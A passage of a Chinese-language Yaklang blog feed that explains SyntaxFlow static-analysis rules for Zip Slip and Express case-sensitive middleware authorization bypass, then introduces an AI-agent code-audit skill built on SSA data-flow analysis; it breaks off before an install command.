<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">path.basename() as $filter</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$source?{&lt;self&gt;.indexOf(*)} as $guardedSources</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$source?{&lt;self&gt;.includes(*)} as $guardedSources</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$source?{&lt;self&gt;.startsWith(*)} as $guardedSources</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$source?{&lt;self&gt;.endsWith(*)} as $guardedSources</span><br></span></code></pre></div></div>
<p>最后进行检测。检测上采用“来源 → 文件写入”的数据流联通来定位风险，并对结果做了分级：当条目路径几乎“原样”进入文件写入点、且缺少明显校验且不存在PHI 节点时归为 HIGH。</p>
<p>若中间经过 path.join/path.resolve 等路径处理但未能确认形成有效防护，则归为 MID，提示需要进一步人工复核（因为仅做路径拼接/规范化并不等价于安全）。</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">$fsSink?{&lt;self&gt; #{include: &lt;&lt;&lt;CODE</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">* &amp; $source</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">CODE, exclude: &lt;&lt;&lt;CODE</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">*?{opcode: phi} as $__next__</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">CODE}-&gt;} as $sink</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$highCandidates?{&lt;self&gt; #{include: &lt;&lt;&lt;CODE</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">* &amp; $guardedSources</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">CODE}-&gt;} as $guardedHigh</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$highCandidates - $guardedHigh as $high</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$sink - $source as $midAll</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$midAll - $high as $midCandidates</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$midCandidates&lt;dataflow(include=&lt;&lt;&lt;CODE</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">* &amp; $filter as $__next__</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">CODE)&gt; as $filteredMid</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$midCandidates - $filteredMid as $mid</span><br></span></code></pre></div></div>
<p>在安全工程实践中，这条规则也强调了可操作的修复模式：推荐使用 path.resolve(TARGET_DIR, entryPath) 并验证结果是否仍在 TARGET_DIR 下（前缀校验），或在业务允许时用 path.basename() 丢弃目录结构，仅保留文件名。</p>
<p>需要注意的是，规则对“条件守卫”属于近似识别（例如 indexOf/includes/startsWith 这类检查）。</p>
<p>它更适合在批量扫描中快速筛出高风险点与可疑点，最终仍建议结合代码语境确认：是否存在可靠的目录边界验证、是否存在符号链接/覆盖等额外风险，以及解压目录是否具备敏感写入权限。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/9843e4579bebd65c-4fa622ddd4e29401e70168497fc3cfc7.png" width="1080" height="581" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="cwe-178-express-中间件路径大小写绕过">CWE-178 Express 中间件路径大小写绕过<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#cwe-178-express-%E4%B8%AD%E9%97%B4%E4%BB%B6%E8%B7%AF%E5%BE%84%E5%A4%A7%E5%B0%8F%E5%86%99%E7%BB%95%E8%BF%87" class="hash-link" aria-label="CWE-178 Express 中间件路径大小写绕过的直接链接" title="CWE-178 Express 中间件路径大小写绕过的直接链接" translate="no">​</a></h3>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="中间件路径匹配大小写敏感">（中间件路径匹配大小写敏感）<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#%E4%B8%AD%E9%97%B4%E4%BB%B6%E8%B7%AF%E5%BE%84%E5%8C%B9%E9%85%8D%E5%A4%A7%E5%B0%8F%E5%86%99%E6%95%8F%E6%84%9F" class="hash-link" aria-label="（中间件路径匹配大小写敏感）的直接链接" title="（中间件路径匹配大小写敏感）的直接链接" translate="no">​</a></h3>
<p>这条规则关注的是一个非常“工程化”的授权绕过问题。</p>
<p>在 Express.js 中，字符串路径（如 '/admin'）的匹配行为与 正则路径（如 //admin/.*/）在大小写处理上存在差异。很多开发者习惯用 app.use() 在路由入口挂载认证/鉴权/审计等安全中间件，如果此时使用了不带 i 标志的正则表达式作为路径条件，那么该中间件默认是大小写敏感的。</p>
<p>攻击者只要把 URL 改成大写或混合大小写（例如把 /admin/users/45 变成 /ADMIN/users/45），就可能实现“端点仍然命中，但中间件不命中”，从而绕过权限校验，形成典型的 authorization-bypass 风险（对应 CWE-178）。</p>
<p>这条规则的价值在于它并不做“粗暴共现”的启发式判断，而是尽量复现真实绕过关系：先锁定 *.use(regex, handler) 且 regex 不含 i 标志的中间件，再收集同一程序内 *.get/post/... 这类字符串路径端点，最后通过 &lt;matchRegexpPath(target=...)&gt; 做精确验证——只有当“中间件的正则在忽略大小写时本应覆盖该端点路径，但在大小写敏感模式下却能被大写变体绕过”时才告警。</p>
<p>这种设计可以显著降低误报，避免出现“项目里既有正则中间件、又有字符串路由就一股脑报”的噪声，让告警更贴近真实可利用链路，也更方便研发快速理解与修复。</p>
<p>修复方向同样非常明确，且对业务侵入小：如果确实需要用正则来表达路径范围，优先在正则末尾添加 i 标志以统一大小写匹配；如果不需要正则的表达能力，则建议改用字符串路径（在 Express 默认未开启大小写敏感路由时为不区分大小写），或者在入口统一规范化请求路径（如转小写）来消除“匹配语义不一致”的根因。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/32309bc5353fd266-bba38ed7581fc9fd72d2c0a3cce3cfc0.png" width="907" height="569" class="yakdoc-image"></button></p>
<p>我们先编写 SyntaxFlow 规则用于匹配使用大小写敏感正则表达式的中间件参数使用点：</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">*.use(* as $middlewareArg,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$middlewareArg?{&lt;self&gt;&lt;getCall&gt;&lt;getCallee&gt;&lt;getObject&gt;?{have: /express/}} as $middlewareArg</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$middlewareArg?{opcode: const}?{have: /^\/.*\/[^i]*$/} as $caseSensitiveRegex</span><br></span></code></pre></div></div>
<p>再匹配 GET, POST 等 API 端点的路径参数：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">.</span><span class="token keyword" style="color:#00009f">get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">post</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">put</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">delete</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">patch</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">all</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$endpointArg</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token keyword" style="color:#00009f">self</span><span class="token operator" style="color:#393A34">&gt;&lt;</span><span class="token plain">getCall</span><span class="token operator" style="color:#393A34">&gt;&lt;</span><span class="token plain">getCallee</span><span class="token operator" style="color:#393A34">&gt;&lt;</span><span class="token plain">getObject</span><span class="token operator" style="color:#393A34">&gt;?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">have</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">/</span><span class="token plain">express</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $endpointArg</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$endpointArg</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">opcode</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> const</span><span class="token punctuation" style="color:#393A34">}</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">have</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">/^</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">//</span><span class="token punctuation" style="color:#393A34">}</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">!</span><span class="token plain">have</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">/^</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">/</span><span class="token operator" style="color:#393A34">.*</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">gimsuy</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">$</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $stringEndpoint</span><br></span></code></pre></div></div>
<p>最终判断是否存在绕过风险：</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">$caseSensitiveRegex&lt;matchRegexpPath(target="$stringEndpoint")&gt; as $bypassRisk</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d107c33866f182e6-ea8484f595bf02ddfd93d25368d294a9.png" width="1080" height="561" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="持续演进-规则深度与分析精度">持续演进: 规则深度与分析精度<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#%E6%8C%81%E7%BB%AD%E6%BC%94%E8%BF%9B-%E8%A7%84%E5%88%99%E6%B7%B1%E5%BA%A6%E4%B8%8E%E5%88%86%E6%9E%90%E7%B2%BE%E5%BA%A6" class="hash-link" aria-label="持续演进: 规则深度与分析精度的直接链接" title="持续演进: 规则深度与分析精度的直接链接" translate="no">​</a></h2>
<h1>本次 IRify 引擎的更新标志着 JavaScript/TypeScript 静态分析正式进入了“深水区”。我们不仅在前端解析速度上取得了量级突破，更在跨过程分析、闭包建模等语义层面填补了诸多空白。</h1>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="迭代方向从覆盖到精控">迭代方向：从“覆盖”到“精控”<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#%E8%BF%AD%E4%BB%A3%E6%96%B9%E5%90%91%E4%BB%8E%E8%A6%86%E7%9B%96%E5%88%B0%E7%B2%BE%E6%8E%A7" class="hash-link" aria-label="迭代方向：从“覆盖”到“精控”的直接链接" title="迭代方向：从“覆盖”到“精控”的直接链接" translate="no">​</a></h3>
<p>在安全工程实践中，静态分析工具的生命力取决于其<strong>规则的生命力</strong>。后续我们将从以下两个维度持续打磨：</p>
<ul>
<li class=""><strong>规则集的持续扩容</strong>：</li>
</ul>
<p>目前的内置规则已覆盖了 OWASP Top 10 及 Node.js 生态中的部分高频风险（如 Zip Slip、Express 鉴权绕过）。未来，我们将针对现代前端框架（如 React/Vue 的服务端渲染安全）以及 Serverless 函数计算环境下的特有风险进行规则扩充。</p>
<ul>
<li class=""><strong>SyntaxFlow 分析效果的打磨</strong>：</li>
</ul>
<p><strong>跨语言调用链分析</strong>：随着 IRify 多语言能力的并进，我们将探索在混合栈（如 Java 后端 + JS 前端）场景下的全链路追踪能力。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>安全审计不应是孤立的代码匹配，而应是基于对程序语义深刻理解的逻辑推演。IRify 致力于构建一个<strong>高性能、<strong>高保真</strong>、且对开发者友好</strong>的静态分析基座。随着 SyntaxFlow 语法的不断演进与内置规则集的日益丰满，我们希望让“规模化审计”不再是一句口号，而是每一位安全工程师手中的利器。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/XABUK1RY_Sf2HIssFNIECw" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
        </item>
        <item>
            <title><![CDATA[代码审计：AI 结合 SSA 数据流分析检测密码泄露]]></title>
            <link>https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa</link>
            <guid>https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa</guid>
            <pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[AI Agent 这两年正以不可思议的速度发展着。这种由大语言模型（LLM）驱动的自然交互模式，正在重塑静态应用安全测试（SAST）领域。基于 AI Agent 的自动化代码审计方案，已逐渐成为当前安全工程实践的重点探索方向。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>AI Agent 这两年正以不可思议的速度发展着。这种由大语言模型（LLM）驱动的自然交互模式，正在重塑静态应用安全测试（SAST）领域。基于 AI Agent 的自动化代码审计方案，已逐渐成为当前安全工程实践的重点探索方向。</p>
<p>在现有的 AI Agent 代码审计框架中，系统获取代码上下文的主要检索手段通常依赖 grep （纯文本正则检索）、tree-sitter （抽象语法树/AST 解析）以及 LSP （语言服务器协议）等工具。这些技术在处理基础的符号定位和局部代码提取时具有绝对效率优势：grep 负责极速的关键词定位，tree-sitter 负责精准的语法结构识别，而 LSP 则提供了“转到定义”或“查找引用”等基础语义导航能力。</p>
<p>然而，面对深度的安全审计需求时，这套组合拳显现出了结构性的局限。grep 仅能进行字面量匹配，无法解析逻辑依赖；基于 AST 的解析虽能识别静态特征，却难以跨越函数与物理文件边界；LSP 虽具备一定的语义关联能力，但本质上仍是“点对点”的静态跳转，它无法刻画变量在复杂控制流和赋值逻辑中的“生命周期”，也难以追踪数据在经过集合封装、对象透传或跨过程调用后的真实流转。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="主流-ai-agent-代码检索工具对比">主流 AI Agent 代码检索工具对比<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E4%B8%BB%E6%B5%81-ai-agent-%E4%BB%A3%E7%A0%81%E6%A3%80%E7%B4%A2%E5%B7%A5%E5%85%B7%E5%AF%B9%E6%AF%94" class="hash-link" aria-label="主流 AI Agent 代码检索工具对比的直接链接" title="主流 AI Agent 代码检索工具对比的直接链接" translate="no">​</a></h2>
<p>简而言之，现有方式适合“静态代码检索”，但不具备“跨过程数据流分析”的能力。这导致 AI 在追踪用户输入流向危险函数的链路时，极易因信息断层而产生漏报，或因强行通读海量无关代码而导致上下文窗口溢出。</p>
<p>为了打破这种纯文本与浅层语义的检索局限，赋予 AI Agent 真正的数据流分析能力，我们将目光投向了 Yaklang 自带的 SSA 分析引擎。</p>
<p>SSA（静态单赋值）分析引擎底层拥有一套强大的编译器与 SyntaxFlow 查询引擎，能够精准实现跨过程的数据流追踪。但是，对人类开发者来说，要理解这套复杂的系统并写出符合需求的 SyntaxFlow 语句，学习成本并不低。</p>
<p>可是，<strong>如果让 AI 来接管这项数据流分析的能力呢，那么效果又会是怎么样的呢？</strong></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="ai--ssa-初探">AI + SSA 初探<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#ai--ssa-%E5%88%9D%E6%8E%A2" class="hash-link" aria-label="AI + SSA 初探的直接链接" title="AI + SSA 初探的直接链接" translate="no">​</a></h2>
<p>虽然 YAK 引擎原生具备了通过 MCP（Model Context Protocol）暴露算力的能力，理论上 AI 已经可以调用编译与查询接口。但在实际工程落地中，仅提供接口是不够的。原生接口模式面临两个核心阻碍：</p>
<p><strong>1、逻辑时序模糊</strong>：AI 往往无法自主意识到必须先完成 <code>SSA 编译</code>才能进行<code>SyntaxFlow 查询</code>的因果关系。</p>
<p><strong>2、语法鸿沟</strong>：SyntaxFlow 作为一种严谨的领域特定语言（DSL），其语法组合与逻辑结构对 AI 而言属于“未知领域”，凭空推断极易产生错误的查询语句。</p>
<p>因此，编写一套专门的 Skill 成为了打通 AI + SSA 的最佳路径。</p>
<p>这个 skill 已经发布，名称叫做 <strong>irify-sast-skill</strong>，**你可以配合本周新版的 YAK 引擎二进制使用它。</p>
<p>下面内容将详细介绍这个 skill 做了些啥。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="知识注入">知识注入<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E7%9F%A5%E8%AF%86%E6%B3%A8%E5%85%A5" class="hash-link" aria-label="知识注入的直接链接" title="知识注入的直接链接" translate="no">​</a></h2>
<p>正如前文所述，虽然基于 SSA 的数据流分析能力极其强大，但其核心查询语言 SyntaxFlow 的编写门槛极高。<code>irify-sast-skill</code> 中实现了深度的知识注入，将三大方面的知识喂给 AI：</p>
<ul>
<li class=""><strong>语法知识</strong>：将 SyntaxFlow 的核心语法规则（如 <code>opcode</code> 过滤器、变量赋值逻辑、数据流算符等）直接注入 AI 的 Prompt 上下文。</li>
<li class=""><strong>NativeCall</strong>：针对复杂的分析场景，Skill 详细定义了诸如 <code>&lt;mybatisSink&gt;</code>（定位 Java MyBatis SQL 注入点）、<code>&lt;fullTypeName()&gt;</code>(获取对应指令的全限定名）等 40 余个 NativeCall 的使用方法与使用示例。</li>
<li class=""><strong>常用</strong>范式<strong>的实战模板</strong>：我们在 Skill 中沉淀了大量经过验证的“审计范式”。无论是仅定位输入点的 Source-only 模式，还是追踪完整污染链的 Source→Sink 模式，AI 都能在 Skill 中找到对应的参考模板，并根据当前项目的代码特征进行动态适配。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="工作流范式">工作流范式<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%B7%A5%E4%BD%9C%E6%B5%81%E8%8C%83%E5%BC%8F" class="hash-link" aria-label="工作流范式的直接链接" title="工作流范式的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在大规模代码审计中信息的信噪比直接决定了-ai-审计的成败传统的-ai-agent-往往由于过度依赖文本搜索grep导致大模型陷入海量无关代码的信息溺水中">在大规模代码审计中，信息的信噪比直接决定了 AI 审计的成败。传统的 AI Agent 往往由于过度依赖文本搜索（Grep），导致大模型陷入海量无关代码的“信息溺水”中。<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%9C%A8%E5%A4%A7%E8%A7%84%E6%A8%A1%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B8%AD%E4%BF%A1%E6%81%AF%E7%9A%84%E4%BF%A1%E5%99%AA%E6%AF%94%E7%9B%B4%E6%8E%A5%E5%86%B3%E5%AE%9A%E4%BA%86-ai-%E5%AE%A1%E8%AE%A1%E7%9A%84%E6%88%90%E8%B4%A5%E4%BC%A0%E7%BB%9F%E7%9A%84-ai-agent-%E5%BE%80%E5%BE%80%E7%94%B1%E4%BA%8E%E8%BF%87%E5%BA%A6%E4%BE%9D%E8%B5%96%E6%96%87%E6%9C%AC%E6%90%9C%E7%B4%A2grep%E5%AF%BC%E8%87%B4%E5%A4%A7%E6%A8%A1%E5%9E%8B%E9%99%B7%E5%85%A5%E6%B5%B7%E9%87%8F%E6%97%A0%E5%85%B3%E4%BB%A3%E7%A0%81%E7%9A%84%E4%BF%A1%E6%81%AF%E6%BA%BA%E6%B0%B4%E4%B8%AD" class="hash-link" aria-label="在大规模代码审计中，信息的信噪比直接决定了 AI 审计的成败。传统的 AI Agent 往往由于过度依赖文本搜索（Grep），导致大模型陷入海量无关代码的“信息溺水”中。的直接链接" title="在大规模代码审计中，信息的信噪比直接决定了 AI 审计的成败。传统的 AI Agent 往往由于过度依赖文本搜索（Grep），导致大模型陷入海量无关代码的“信息溺水”中。的直接链接" translate="no">​</a></h3>
<p><code>irify-sast-skill</code> 强制推行了一套名为 **Engine-First (sf → read → rg)**的漏斗模型，从底层逻辑上重塑了审计的路径。</p>
<ul>
<li class=""><strong>全量扫描 (ssa_query)</strong>：在这一范式下，AI 被严禁在建立数据流图谱前使用 <code>grep</code> 盲目搜索。AI 必须首先将基于 SSA IR 的 SyntaxFlow 查询作为“全局雷达”，利用引擎跨文件、跨过程的分析能力，从数万行代码中精准锁定存在真实数据流转的链路。</li>
<li class=""><strong>精准切片验证 (Read)</strong>：当引擎返回确凿的文件路径与行号后，AI 才会切换到“显微镜模式”，利用 <code>Read</code> 工具读取涉事节点周围的局部上下文（通常为 ±20 行）。这种按需读取的方式，确保了 AI 只处理经过引擎验证的有效逻辑，极大地降低了 Token 的无效消耗，并有效规避了由无关代码诱发的“幻觉”。</li>
<li class=""><strong>边缘工具降级 (Grep/Glob)</strong>：在 Engine-First模型中，文本搜索工具被降级为处理非代码类资产（如 <code>.yml</code>、<code>.xml</code> 配置文件）的辅助手段，避免过多参与数据流分析导致严重的噪声。</li>
</ul>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f2b2b5fa469a8938-d42184c41fabe1b8343233ea156d8833.png" width="1024" height="559" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="自愈机制">自愈机制<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E8%87%AA%E6%84%88%E6%9C%BA%E5%88%B6" class="hash-link" aria-label="自愈机制的直接链接" title="自愈机制的直接链接" translate="no">​</a></h2>
<p>由于 SyntaxFlow 的语法极其严谨，AI 在构造复杂规则时难免出现细微偏差。为了防止因琐碎的语法错误导致任务中断，该 skill 还引入了自愈机制。</p>
<p>具体而言，当 <code>ssa_query</code> 返回语法解析错误时，AI 不会向用户道歉或请求帮助，而是直接进入自愈流程：即 AI 会自动修复 SyntaxFlow 语法报错并重新查询（感谢完善的SyntaxFlow 机制，能返回完整的报错信息以及预期 Token 信息）。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="增量编译">增量编译<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%A2%9E%E9%87%8F%E7%BC%96%E8%AF%91" class="hash-link" aria-label="增量编译的直接链接" title="增量编译的直接链接" translate="no">​</a></h2>
<p>在实际的开发与审计流程中，代码库可能处于频繁的变动之中。如果想要每次改完相关功能后，希望快速调用 IRify 进行安全检查,每次如果重新编译，那么时间的成本太高昂了。因此这个 skill 实验性地增加了增量编译的能力。</p>
<p>它的核心原理并不是什么复杂的黑盒，而是一套极其高效的“双层叠加”逻辑：</p>
<ul>
<li class=""><strong>数据库里的底座（Base Layer）</strong>：在项目初次扫描时，引擎会将全量源码编译成 SSA IR 并持久化到数据库中。这就像是为整个项目拍了一张精细的底片。</li>
<li class=""><strong>内存</strong>里的补丁（Memory Layer）**：当你修改了代码再次调用时，引擎只会针对那些变动的文件进行解析。这份增量数据非常轻量，直接存放在内存里以保证读写极速。</li>
<li class=""><strong>双层叠加（ProgramOverLay）</strong>：当你发起查询时，AI 会告诉引擎将这两层数据“缝合”在一起。查询指令会同时穿透数据库里的底座和内存里的补丁，确保你拿到的永远是代码最新状态的完整视图。</li>
</ul>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/66598da296ba861b-920b22cde42d1ef146e23f53d1caab31.png" width="1024" height="559" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实战体验">实战体验<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%AE%9E%E6%88%98%E4%BD%93%E9%AA%8C" class="hash-link" aria-label="实战体验的直接链接" title="实战体验的直接链接" translate="no">​</a></h2>
<p>在聊完架构和原理后，最终还是要回归到用起来效果怎么样这个核心问题上。在这里分享如何快速搭建这套环境，并展示其在真实项目审计中的表现。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="获取yak二进制引擎">获取Yak二进制引擎<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E8%8E%B7%E5%8F%96yak%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%BC%95%E6%93%8E" class="hash-link" aria-label="获取Yak二进制引擎的直接链接" title="获取Yak二进制引擎的直接链接" translate="no">​</a></h2>
<p>你需要下载本周发布的最新版 YAK 引擎二进制文件（&gt;1.4.5-beta11）。</p>
<p>该版本 MCP 暴露了一些 SSA 能力。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="配置-ai-agent">配置 AI Agent<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E9%85%8D%E7%BD%AE-ai-agent" class="hash-link" aria-label="配置 AI Agent的直接链接" title="配置 AI Agent的直接链接" translate="no">​</a></h2>
<p><code>irify-sast-skill </code>在 Github 上 Yaklang 组织下可以找到，你也可以使用下面命令安装这个 skill：</p>
